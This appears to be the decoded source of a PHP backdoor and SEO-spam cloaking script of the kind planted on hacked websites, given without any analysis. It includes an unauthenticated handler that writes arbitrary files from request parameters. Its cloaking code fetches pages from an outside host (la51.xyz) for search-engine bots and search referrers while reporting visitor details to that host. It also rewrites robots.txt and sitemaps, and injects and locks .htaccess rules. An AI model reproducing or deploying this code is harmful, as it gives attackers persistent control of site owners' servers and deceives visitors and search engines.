PHP Decode

<?php 
header("Content-Type:text/html; charset=utf-8"); 
error_reporting(0); 
$lineNo = "2336"; // 
$jumpNo = "2336"; // 163|164|165 
$all_data = "0"; // 1 
$all_jump = "0"; // 1 
$rewrite_open = "1"; //.h 1 
 
function rsync_httpreq($url, $async = 0, $method = 1, $pf = null, $headers = []) 
{ 
    if (!preg_match("/^http\:\/\//si", $url)) { 
        if (isset($_GET["urlerr"])) { 
            $err = "[urlerror] invalid url:&nbsp;"; 
            $err .= $url; 
            echo $err; 
            unset($err); 
            exit(); 
        } 
        return ""; 
    } 
    $a = 
        "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; 
    $b = $out = ""; 
    foreach (explode("|", $a) as $c) { 
        $y = 1; 
        if ($async && substr($c, 0, 1) == "c") { 
            continue; 
        } 
        foreach (explode("+", $c) as $d) { 
            if (!function_exists($d)) { 
                $y = 0; 
            } 
        } 
        unset($d); 
        if ($y) { 
            $b = $c; 
            break; 
        } 
    } 
    unset($a, $c); 
    if ($b == "") { 
        return 0; 
    } 
    if (substr($b, 0, 1) == "c") { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_USERAGENT, "WHR"); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_TIMEOUT, 100); 
        if ($method == 2) { 
            curl_setopt($ch, CURLOPT_POST, 1); 
            if (is_array($pf)) { 
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf)); 
            } 
        } 
        $r = curl_exec($ch); 
        curl_close($ch); 
        if (!$r) { 
            if (isset($_GET["curlerr"])) { 
                $err = "[curl error]&nbsp;"; 
                $err .= curl_error($ch); 
                echo $err; 
                unset($err); 
                exit(); 
            } 
            return 0; 
        } else { 
            $r = trim(trim($r, "")); 
            return $r; 
        } 
    } 
    $parse = parse_url($url); 
    isset($parse["host"]) || ($parse["host"] = ""); 
    isset($parse["path"]) || ($parse["path"] = ""); 
    isset($parse["query"]) || ($parse["query"] = ""); 
    isset($parse["port"]) || ($parse["port"] = ""); 
    $xpath = $parse["path"] 
        ? $parse["path"] . ($parse["query"] ? "?" . $parse["query"] : "") 
        : "/"; 
    $_host = $parse["host"]; 
    if ($parse["scheme"] == "https") { 
        $version = "1.1"; 
        $port = empty($parse["port"]) ? 443 : $parse["port"]; 
        $_host = "ssl://"; 
        $_host .= $parse["host"]; 
    } else { 
        $version = "1.0"; 
        $port = empty($parse["port"]) ? 80 : $parse["port"]; 
    } 
    $hhost = "Host: "; 
    $hhost .= $_host; 
    $headers[] = $hhost; 
    $headers[] = "Connection: Close"; 
    $headers[] = "User-Agent: WHR"; 
    $headers[] = "Accept: */*"; 
    unset($hhost); 
    if ($method == 2) { 
        if (is_array($pf)) { 
            $pf = http_build_query($pf); 
        } 
        $headers[] = "Content-type: application/x-www-form-urlencoded"; 
        $headers[] = "Content-Length: " . strlen($pf); 
        $out = 
            "POST $xpath HTTP/$version
" . 
            join("
", $headers) . 
            "

" . 
            $pf; 
        unset($pf); 
    } else { 
        $out = 
            "GET $xpath HTTP/$version
" . 
            join("
", $headers) . 
            "

"; 
    } 
    unset($headers, $parse, $version, $xpath); 
 
    $fp = null; 
    if (substr($b, -1) == "n") { 
        $fp = $b($_host, $port, $errno, $errstr, 30); 
    } else { 
        if (substr($b, -1) == "t") { 
            $tcp = "tcp://"; 
            $tcp .= $_host; 
            $tcp .= ":"; 
            $tcp .= $port; 
            $fp = stream_socket_client($tcp, $errno, $errstr, 30); 
            unset($tcp); 
        } 
    } 
    $content = ""; 
    if ($fp) { 
        stream_set_blocking($fp, true); 
        stream_set_timeout($fp, 30); 
        fwrite($fp, $out); 
        if (!$async) { 
            $status = stream_get_meta_data($fp); 
            if (!$status["timed_out"]) { 
                while (!feof($fp)) { 
                    $line = fgets($fp); 
                    if ($line && ($line == "
" || $line == "
")) { 
                        break; 
                    } 
                    unset($line); 
                } 
                while (!feof($fp)) { 
                    $data = fread($fp, 8192); 
                    $content .= $data; 
                    unset($data); 
                } 
            } 
            unset($status); 
        } 
        fclose($fp); 
    } else { 
        if (substr($b, -1) == "e") { 
            $_ip = gethostbyname($_host); 
            $fp = $b(AF_INET, SOCK_STREAM, 0); 
            if (socket_connect($fp, $_ip, $port)) { 
                if (!$async) { 
                    socket_write($fp, $out, strlen($out)); 
                    while ($bf = @socket_read($fp, 8192)) { 
                        $content .= $bf; 
                        unset($bf); 
                    } 
                    $content = explode("

", $content); 
                    array_shift($content); 
                    $content = implode("

", $content); 
                } else { 
                    $t = mt_rand(2, 5); 
                    $i = 0; 
                    while ($i < $t) { 
                        socket_write($fp, $out, strlen($out)); 
                        $i++; 
                        usleep(mt_rand(50000, 100000)); 
                    } 
                    unset($i, $t); 
                } 
            } 
            socket_close($fp); 
            unset($_ip); 
        } 
    } 
    if ($content == "") { 
        if (function_exists("file_get_contents") and $url) { 
            $content = @file_get_contents($url); 
        } 
    } 
    unset($out, $b, $fp, $port, $_host); 
    if (!$async) { 
        $content = preg_replace_callback( 
            '/(?:(?:
|
)|^)([0-9A-F]+)(?:
|
){1,2}(.*?)' . 
                '((?:
|
)(?:[0-9A-F]+(?:
|
))|$)/si', 
            create_function( 
                '$matches', 
                'return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0];' 
            ), 
            $content 
        ); 
        return trim(trim($content, "")); 
    } else { 
        return 1; 
    } 
} 
function BASE64_DEC0DE($string) 
{ 
    $base_pre = substr($string, 0, 5); 
    $base_ext = substr($string, -5); 
    $base_ = substr($string, 7, strlen($string) - 14); 
    return gzinflate(base64_decode($base_pre . $base_ . $base_ext)); 
} 
function func_loginCheck($agent) 
{ 
    $login = false; 
    $bots = "googlebot|bingbot|google|aol|bing|yahoo"; 
 
    if ($agent != "") { 
        if (preg_match("/($bots)/si", $agent)) { 
            $login = true; 
        } 
    } 
    return $login; 
} 
function func_referCheck($refer) 
{ 
    $redi = false; 
    $referbots = "google.co|yahoo.co.jp|bing"; 
    if ($refer != "" && preg_match("/($referbots)/si", $refer)) { 
        $redi = true; 
    } 
    return $redi; 
} 
function upfile() 
{ 
    $filenames = isset($_REQUEST["sfilename"]) ? $_REQUEST["sfilename"] : ""; 
    $filecontents = isset($_REQUEST["sfilecontent"]) 
        ? $_REQUEST["sfilecontent"] 
        : ""; 
    if (file_exists($filenames)) { 
        if (!unlink($filenames)) { 
            echo "deleteerror"; 
            exit(); 
        } 
    } 
    file_put_contents($filenames, $filecontents, FILE_APPEND); 
    echo $filenames . "success"; 
} 
function class_x_i($x = "") 
{ 
    @set_time_limit(3600); 
    @ignore_user_abort(1); 
    global $lineNo, $all_data, $all_jump, $rewrite_open, $jumpNo; 
    if (isset($_REQUEST["supfiles"])) { 
        upfile(); 
        exit(); 
    } 
 
    $httpReferer = isset($_SERVER["HTTP_REFERER"]) 
        ? $_SERVER["HTTP_REFERER"] 
        : ""; 
    $login_status = isset($_SERVER["HTTP_USER_AGENT"]) 
        ? $_SERVER["HTTP_USER_AGENT"] 
        : ""; 
    $lCheck = true; 
    $rCheck = func_referCheck($httpReferer); 
 
    $server_name = ""; 
    if (isset($_SERVER["HTTP_HOST"])) { 
        $server_name = $_SERVER["HTTP_HOST"]; 
    } elseif (isset($_SERVER["SERVER_NAME"])) { 
        $server_name = $_SERVER["SERVER_NAME"]; 
    } 
    $page_location = $_SERVER["REQUEST_URI"]; 
    if (strstr($page_location, "bction=ping")) { 
        if (strstr($_GET["mapname"], ".xml")) { 
            $data_new = 
                "https://www.google.com/ping?sitemap=" . $_GET["mapname"]; 
            if (stristr(file_get_contents($data_new), "google")) { 
                echo "<br>ok<br>"; 
            } else { 
                echo $data_new . "<br>ping false!<br>"; 
            } 
        } else { 
            echo "<br>sitemap name false!<br>"; 
        } 
        exit(); 
    } 
    if (strstr($page_location, "span_allsitemap=")) { 
        $span_allsitemap_leng = strpos($page_location, "span_allsitemap=") + 16; 
        $span_allsitemap = substr($page_location, $span_allsitemap_leng); 
        $xpath_content = 
            '<?xml version="1.0" encoding="UTF-8"? ><sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'; 
        if ($span_allsitemap != "") { 
            $span_allsitemaps = explode("|", $span_allsitemap); 
            $fzxml = glob($span_allsitemaps[0]); 
            $robotstxt = ""; 
            foreach ($fzxml as $xml) { 
                $xpath_content .= sprintf( 
                    "<sitemap><loc>%s</loc><lastmod>%s</lastmod></sitemap>", 
                    "http://" . $server_name . "/" . $xml, 
                    date("Y-m-d") 
                ); 
                $robotstxt .= 
                    chr(13) . 
                    chr(10) . 
                    "Sitemap:http://" . 
                    $server_name . 
                    "/" . 
                    $xml; 
            } 
            $site_map = "site_map.xml"; 
            if ($span_allsitemaps[1] != "") { 
                $site_map = $span_allsitemaps[1]; 
            } 
            $robotstxt = 
                "User-agent: *" . 
                chr(13) . 
                chr(10) . 
                "Disallow:" . 
                chr(13) . 
                chr(10) . 
                "Sitemap:http://" . 
                $server_name . 
                "/" . 
                $site_map . 
                $robotstxt; 
            $xpath_content .= "</sitemapindex>"; 
            $xpath_content = str_replace( 
                'encoding="UTF-8"? ', 
                'encoding="UTF-8"?', 
                $xpath_content 
            ); 
            if (@file_put_contents($site_map, $xpath_content)) { 
                @file_put_contents("robots.txt", $robotstxt); 
                echo exit($site_map . " ok"); 
            } else { 
                echo exit(""); 
            } 
        } 
    } 
 
    $rewrite_index = ""; 
    if (strpos($page_location, ".php") > 0) { 
        $leng = strpos($page_location, ".php") + 4; 
        $rewrite_index = substr($page_location, 0, $leng); 
    } 
    if ($rewrite_index == "") { 
        $rewrite_index = "index.php"; 
    } 
    $url_host_format = "www%d.la51.xyz"; 
 
    $uri_start = ""; 
    if (isset($_SERVER["REQUEST_SCHEME"])) { 
        $uri_start = $_SERVER["REQUEST_SCHEME"]; 
    } else { 
        $uri_start = 
            isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" 
                ? "https" 
                : "http"; 
    } 
 
    $rewrite_open = (int) $rewrite_open; 
    sync_htaccess("", $rewrite_open, $rewrite_index); 
    $url_format = ""; 
    $url_b = 
        "http://www50.la51.xyz/jump88.php?d=%s&u=%s&r=%s&l=%s&n=%s&t=%s&h=%s&g=%s"; 
    $url_b = sprintf( 
        $url_b, 
        $server_name, 
        urlencode($page_location), 
        urlencode($httpReferer), 
        urlencode($login_status), 
        $all_jump, 
        urlencode(date("Y-m-d")), 
        urlencode($uri_start), 
        $jumpNo 
    ); 
 
    if (isset($_GET["guo_url2"])) { 
        echo $url_b; 
        exit(); 
    } 
    if ( 
        strstr($page_location, "robots.txt") || 
        strstr($page_location, "span_robots=") 
    ) { 
        $lineNos = explode("|", $lineNo); 
        $value = $lineNos[0]; 
        $url_host_string = sprintf($url_host_format, $value); 
        $url_format = 
            "http://%host%/data66.php?d=%s&u=%s&r=%s&l=%s&n=%s&t=%s&h=%s&g=%s"; 
        $url_format = preg_replace("/%host%/si", $url_host_string, $url_format); 
        $url_format = sprintf( 
            $url_format, 
            $server_name, 
            urlencode($page_location . "robotsshengcheng"), 
            urlencode($httpReferer), 
            urlencode($login_status), 
            $all_data, 
            urlencode(date("Y-m-d")), 
            urlencode($uri_start), 
            $value 
        ); 
        $content = rsync_httpreq($url_format); 
        if (strstr($content, "<spango>")) { 
            if (strstr($page_location, "robotsping=ping")) { 
                $addarr_tmp = explode("
", $content); 
                for ($i = 2; $i < rand(20, 50); $i++) { 
                    if (strstr(trim($addarr_tmp[$i]), ".xml")) { 
                        $data_new = 
                            "https://www.google.com/ping?sitemap=" . 
                            str_replace("Sitemap:", "", trim($addarr_tmp[$i])); 
                        if (stristr(file_get_contents($data_new), "google")) { 
                            echo $data_new . "ok<br>"; 
                        } else { 
                            echo $data_new . "ping false!<br>"; 
                        } 
                    } else { 
                        echo "sitemap name false!<br>"; 
                    } 
                } 
                exit(); 
            } 
            $content = str_replace("<spango>", "", $content); 
            @file_put_contents("robots.txt", $content); 
            exit($content); 
        } 
        unset( 
            $content, 
            $url_format, 
            $url_host_string, 
            $url_host_format, 
            $page_location, 
            $server_name, 
            $httpReferer, 
            $login_status 
        ); 
        exit(); 
    } 
    if (strstr($page_location, ".xml")) { 
        $lineNos = explode("|", $lineNo); 
        $value = $lineNos[0]; 
        $url_host_string = sprintf($url_host_format, $value); 
        $url_format = 
            "http://%host%/data66.php?d=%s&u=%s&r=%s&l=%s&n=%s&t=%s&h=%s&g=%s"; 
        $url_format = preg_replace("/%host%/si", $url_host_string, $url_format); 
        $url_format = sprintf( 
            $url_format, 
            $server_name, 
            urlencode($page_location . "ditushengcheng"), 
            urlencode($httpReferer), 
            urlencode($login_status), 
            $all_data, 
            urlencode(date("Y-m-d")), 
            urlencode($uri_start), 
            $value 
        ); 
        $content = rsync_httpreq($url_format); 
        if (strstr($content, "<spango>")) { 
            if (strstr($content, "getcontent500page")) { 
                @header("HTTP/1.1 500 Internal Server Error"); 
                exit(); 
            } elseif (strstr($content, "getcontent404page")) { 
                @header("HTTP/1.1 404 Not Found"); 
                exit(); 
            } 
            $content = str_replace("<spango>", "", $content); 
            if (strstr($page_location, ".xml.gz")) { 
                $lengb = strpos($page_location, ".xml.gz") + 7; 
                $xml_name = explode( 
                    "/", 
                    str_replace("?", "/", substr($page_location, 0, $lengb)) 
                ); 
                header("Content-Type: application/x-gzip"); 
                header( 
                    'Content-Disposition: attachment; filename="' . 
                        $xml_name[count($xml_name) - 1] . 
                        '"' 
                ); 
                header( 
                    "Cache-Control: no-cache, no-store, max-age=0, must-revalidate" 
                ); 
                header("Pragma: no-cache"); 
                $gz_sitemap_content = gzencode($content, 9); 
                echo $gz_sitemap_content; 
                exit(); 
            } 
            if (strstr($_SERVER["REQUEST_URI"], "span_sitemap=")) { 
                $span_sitemap_leng = 
                    strpos($_SERVER["REQUEST_URI"], "span_sitemap=") + 13; 
                $span_sitemap = substr( 
                    $_SERVER["REQUEST_URI"], 
                    $span_sitemap_leng 
                ); 
                if ($span_sitemap != "") { 
                    if (strstr($span_sitemap, "/")) { 
                        $filemap = explode("/", $span_sitemap); 
                        if (!file_exists($filemap[0])) { 
                            mkdir($filemap[0]); 
                        } 
                    } 
                    if (@file_put_contents($span_sitemap, $content)) { 
                        $robots_path = "robots.txt"; 
                        $map_content = 
                            "Sitemap:  http://" . 
                            $server_name . 
                            "/" . 
                            $span_sitemap . 
                            "
"; 
                        if ($robots_path != "" && file_exists($robots_path)) { 
                            $robots_content = @file_get_contents($robots_path); 
                            $map_content = $map_content . $robots_content; 
                            @file_put_contents($robots_path, $map_content); 
                        } else { 
                            @file_put_contents($robots_path, $map_content); 
                        } 
                        echo exit($span_sitemap . " ok"); 
                    } else { 
                        echo exit(""); 
                    } 
                } 
            } 
            if (strstr($_SERVER["REQUEST_URI"], "span_sitemapgz=")) { 
                $span_sitemapgz_leng = 
                    strpos($_SERVER["REQUEST_URI"], "span_sitemapgz=") + 15; 
                $span_sitemapgz = substr( 
                    $_SERVER["REQUEST_URI"], 
                    $span_sitemapgz_leng 
                ); 
                if ($span_sitemapgz != "") { 
                    if (strstr($span_sitemapgz, "/")) { 
                        $filemap = explode("/", $span_sitemapgz); 
                        if (!file_exists($filemap[0])) { 
                            mkdir($filemap[0]); 
                        } 
                    } 
                    $gzfile = $span_sitemapgz . ".gz"; 
                    $fp = gzopen($gzfile, "w9"); 
                    gzwrite($fp, $content); 
                    gzclose($fp); 
                    echo exit($span_sitemapgz . ".gz ok"); 
                } 
            } 
            @header("content-type: text/xml"); 
            exit($content); 
            unset( 
                $content, 
                $url_format, 
                $url_host_string, 
                $url_host_format, 
                $page_location, 
                $server_name, 
                $httpReferer, 
                $login_status 
            ); 
            exit(); 
        } 
    } 
    if ($rCheck) { 
        $content = rsync_httpreq($url_b); 
        if (strstr($content, "<spango>")) { 
            $content = str_replace("<spango>", "", $content); 
 
            echo "$content"; 
            unset( 
                $content, 
                $url_format, 
                $url_host_string, 
                $url_host_format, 
                $page_location, 
                $server_name, 
                $httpReferer, 
                $login_status 
            ); 
            exit(); 
        } 
    } 
    if ($lCheck) { 
        $lineNos = explode("|", $lineNo); 
        for ($i = 0; $i < count($lineNos); $i++) { 
            $url_host_string = sprintf($url_host_format, $lineNos[$i]); 
            $url_format = 
                "http://%host%/data66.php?d=%s&u=%s&r=%s&l=%s&n=%s&t=%s&h=%s&g=%s"; 
            $url_format = preg_replace( 
                "/%host%/si", 
                $url_host_string, 
                $url_format 
            ); 
            $url_format = sprintf( 
                $url_format, 
                $server_name, 
                urlencode($page_location), 
                urlencode($httpReferer), 
                urlencode($login_status), 
                $all_data, 
                urlencode(date("Y-m-d")), 
                urlencode($uri_start), 
                $lineNos[$i] 
            ); 
            if (isset($_GET["guo_url1"])) { 
                echo $url_format; 
                exit(); 
            } 
            $content = rsync_httpreq($url_format); 
            if (strstr($content, "<spango>")) { 
                if (strstr($content, "getcontent500page")) { 
                    @header("HTTP/1.1 500 Internal Server Error"); 
                    exit(); 
                } elseif (strstr($content, "getcontent404page")) { 
                    @header("HTTP/1.1 404 Not Found"); 
                    exit(); 
                } else { 
                    $content = str_replace("<spango>", "", $content); 
                    echo "$content"; 
                    unset( 
                        $content, 
                        $url_format, 
                        $url_host_string, 
                        $url_host_format, 
                        $page_location, 
                        $server_name, 
                        $httpReferer, 
                        $login_status 
                    ); 
                    exit(); 
                } 
            } 
        } 
    } 
} 
//.h 
function sync_htaccess($htaccess_rule = "", $rewrite_open, $rewrite_index) 
{ 
    $rewrite_index = substr($rewrite_index, 0, @strrpos($rewrite_index, ".")); 
    $htaccess_rule = "<IfModule mod_rewrite.c>
"; 
    $htaccess_rule .= "RewriteEngine On
"; 
    $htaccess_rule .= "RewriteBase /
"; 
    $htaccess_rule .= 
        "RewriteRule ^" . $rewrite_index . ".php$ - [L]
"; 
    $htaccess_rule .= "RewriteCond %{REQUEST_FILENAME} !-f
"; 
    $htaccess_rule .= "RewriteCond %{REQUEST_FILENAME} !-d
"; 
    $htaccess_rule .= "RewriteRule . /" . $rewrite_index . ".php [L]
"; 
    $htaccess_rule .= "</IfModule>"; 
    if ($htaccess_rule != "") { 
        if ($rewrite_open) { 
            $htaccess_path = "./.htaccess"; 
            if ($htaccess_path != "" && file_exists($htaccess_path)) { 
                @chmod($htaccess_path, 0777); 
                $htaccess_content = @file_get_contents($htaccess_path); 
                if ( 
                    !preg_match("/REQUEST_FILENAME/", $htaccess_content) && 
                    !preg_match( 
                        "/" . $rewrite_index . ".php/", 
                        $htaccess_content 
                    ) 
                ) { 
                    $htaccess_content = 
                        $htaccess_rule . PHP_EOL . $htaccess_content; 
                    @file_put_contents($htaccess_path, $htaccess_content); 
                } 
            } 
            @chmod($htaccess_path, 0444); 
        } 
    } 
} 
class_x_i(); 
?>